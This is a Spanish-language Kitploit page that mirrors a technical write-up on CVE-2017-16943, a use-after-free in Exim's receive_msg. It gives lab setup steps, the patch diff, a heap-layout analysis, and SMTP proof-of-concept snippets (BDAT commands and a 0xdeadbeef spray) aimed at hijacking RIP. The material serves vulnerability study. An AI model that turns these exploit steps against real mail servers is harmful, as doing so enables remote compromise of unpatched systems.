Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2017-16943 — Análisis técnico y prueba de concepto para CVE-2017-16943, un use-after-free en la función receive_msg de Exim, que demuestra manipulación del heap y secuestro de RIP. | Kitploit
Herramientas/GitHubGitHub/beraphin/cve-2017-16943
Forensia de MemoriaAnálisis de VulnerabilidadesExplotaciónDepuradoresAprendizaje y EducaciónExplotación de Binarios
GitHubberaphin/cve-2017-16943

CVE-2017-16943

Análisis técnico y prueba de concepto para CVE-2017-16943, un use-after-free en la función receive_msg de Exim, que demuestra manipulación del heap y secuestro de RIP.

Ver Repositorio
18hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2017-16943

Configuración del entorno

git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile

Modifique las variables de ruta y el nombre de usuario en el Makefile

cd ..
make -j8
sudo make install

Después de la instalación, cambie accept hosts = : por accept hosts = * en el configure. Ejecutar:

exim -bdf -d-receive

Análisis de vulnerabilidad

Esta vulnerabilidad es un UAF, ocurre en la función receive_msg en receive.c, que se utiliza para recibir entrada del cliente. Vea el registro del parche:

 src/src/receive.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
   (and sometimes lunatic messages can have ones that are 100s of K long) we
   call store_release() for strings that have been copied - if the string is at
   the start of a block (and therefore the only thing in it, because we aren't
-  doing any other gets), the block gets freed. We can only do this because we
-  know there are no other calls to store_get() going on. */
+  doing any other gets), the block gets freed. We can only do this release if
+  there were no allocations since the once that we want to free. */
 
   if (ptr >= header_size - 4)
     {
@@ -1820,9 +1820,10 @@ for (;;)
     header_size *= 2;
     if (!store_extend(next->text, oldsize, header_size))
       {
+      BOOL release_ok = store_last_get[store_pool] == next->text;
       uschar *newtext = store_get(header_size);
       memcpy(newtext, next->text, ptr);
-      store_release(next->text);
+      if (release_ok) store_release(next->text);
       next->text = newtext;
       }
     }

Aquí primero aclaremos el rol de algunas variables globales:

current_block: El storeblock actual, cuando se usa store_get_3 la próxima vez, se busca espacio libre en este storeblock primero.
next_yield: Apunta a la dirección de inicio del bloque libre en current_block; generalmente la parte superior del storeblock está usada y la inferior libre.
yield_length: La longitud de next_yield.

Analizando el PoC de meh, se puede saber que el programa sin parche puede desencadenar el UAF mediante el siguiente proceso de diseño del montón: Primero, en la función receive_msg, haga que next->text sea el buffer inicial de un storeblock: 1

Luego, mediante el comando bdat, solicite un buffer debajo de ese text. 2

¿Por qué usar el comando bdat? En realidad, tanto auth plain como comandos ilegales compuestos por caracteres no visibles pueden solicitar un buffer debajo del text, pero otras instrucciones harán que la función receive_msg salga. Al volver a ingresar a receive_msg, next->text apuntará a otra región, por lo que la vulnerabilidad no se puede desencadenar. El comando bdat no hace que la función receive_msg actual salga, esto es muy importante. 2

Luego, envíe caracteres continuamente para llenar next_text (inicialmente 0x100), y entonces el programa ejecutará el punto vulnerable. En store_extend, se descubre que debido a la presencia del buffer bdat, no se puede extender, por lo que se ejecuta store_get para obtener la región apuntada por next_yield, y luego se llama a la función store_release. En esta función, solo se verifica si el parámetro de liberación es el inicio de un storeblock, pero no se verifica si hay otros buffers después, por lo que se libera el storeblock directamente. Esto hace que la dirección devuelta por store_get todavía esté dentro de current_block, pero inmediatamente después se libera current_block, lo que provoca un UAF.

Secuestro de RIP

Aquí se explica paso a paso cómo secuestrar RIP con el código PoC.

ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')

Primero, se envía un montón de datos, con el objetivo de que yield_length sea menor que 0x130 pero mayor que 0x30. ¿Por qué es necesario esto? Veamos el inicio de la función receive_msg:

...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705: 
1706: /* Control block for the next header to be read. */
1707: 
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...

Se puede observar que antes de solicitar next->text, se solicitan dos buffers de tamaño sizeof(header_line), que es 0x18. Por lo tanto, si después de asignar estos dos bloques de 0x18, el tamaño restante yield_length es menor que 0x100, entonces al solicitar next->text, store_get solicitará un nuevo storeblock, y next->text estará al inicio de ese storeblock.

Luego llamamos al comando bdat:

r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')

Este comando contiene un carácter no visible, lo que hará que se llame a store_get para solicitar un buffer para almacenar el mensaje de error:

pwndbg> hexdump 0x71d0e0 
+0000 0x71d0e0  42 44 41 54  20 5c 33 33  35 00 20 63  68 75 6e 6b  │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0  35 30 31 20  6d 69 73 73  69 6e 67 20  73 69 7a 65  │501.│miss│ing.│size│
+0020 0x71d100  20 66 6f 72  20 42 44 41  54 20 63 6f  6d 6d 61 6e  │.for│.BDA│T.co│mman│
+0030 0x71d110  64 0a 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │d...│....│....│....│

(Incluso si las instrucciones ilegales contienen caracteres no visibles, también provocarán una solicitud adicional de bloques de montón).

En este punto, enviamos caracteres continuamente:

unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))

Entonces se irán llenando byte a byte los caracteres recibidos en next->text. Cuando el área libre de 0x100 se llene, se ejecutará el código vulnerable para expandir el tamaño de next->text. Primero se ingresa a store_extend(next->text, oldsize, header_size) para intentar expandir directamente:

File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268:   int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272: 
273: if (rounded_oldsize % alignment != 0)
274:   rounded_oldsize += alignment - (rounded_oldsize % alignment);
275: 
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277:     inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278:   return FALSE;
...

Las comprobaciones principales están en las líneas 276-277. La primera condición verifica si el puntero que se desea expandir, ptr, está inmediatamente seguido por next_yield. La segunda condición verifica si sumando el tamaño de next_yield (es decir, yield_length) es suficiente. Claramente, la primera condición no se cumple, porque después de next->text hay un buffer bdat, y luego next_yield.

Descargar herramienta